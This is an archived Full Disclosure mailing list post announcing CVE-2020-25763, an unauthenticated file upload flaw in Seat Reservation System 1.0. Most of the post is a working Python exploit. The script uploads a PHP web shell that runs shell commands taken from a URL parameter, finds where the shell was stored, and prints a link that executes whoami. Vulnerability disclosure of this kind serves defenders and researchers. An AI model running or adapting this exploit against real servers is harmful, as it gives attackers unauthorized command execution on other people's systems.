Seat Reservation System 1.0 Unauthenticated Remote Code Execution (CVE-2020-25763)

From: Ava Tester One <avatesterone () gmail com>
Date: Fri, 18 Sep 2020 22:15:25 -0400

```
Seat Reservation System version 1.0 suffers from an Unauthenticated File
Upload Vulnerability allowing Remote Attackers to gain Remote Code
Execution (RCE) on the Hosting Webserver via uploading PHP files.

Vendor Homepage: www.sourcecodester.com
Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip

Author: Rahul Ramkumar

Date: 2020-09-16

CVE: CVE-2020-25763

PoC:
-------
# Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code
Execution
import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s '
https://192.168.1.72:443/seat_reservation/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'admin/ajax.php?action=save_movie'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    random = ''.join([random.choice(string.ascii_letters + string.digits)
for n in xrange(16)])
    webshell = random+'.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    image     = {
                'cover':
                  (
                    webshell,
                    '<?php echo shell_exec($_GET["d3crypt"]); ?>',
                    'application/php',
                    {'Content-Disposition': 'form-data'}
                  )
              }
    fdata   = {'id':
'','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-
01','end_date':'2040-09-25'}
    r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False)
    r2 = s.get(SERVER_URL, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//img")
        links = [link.get('src', '') for link in refs]
        return [l for l in links]

    links = get_links(tree)
    print('Access your webshell at: ')
    for link in links:
        if webshell in link:
            print(SERVER_URL + link+'?d3crypt=whoami')


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

Seat Reservation System 1.0 Unauthenticated Remote Code Execution (CVE-2020-25763) *Ava Tester One (Sep 22)*
Seat Reservation System 1.0 Unauthenticated SQL Injection (CVE-2020-25762) *Ava Tester One (Sep 22)*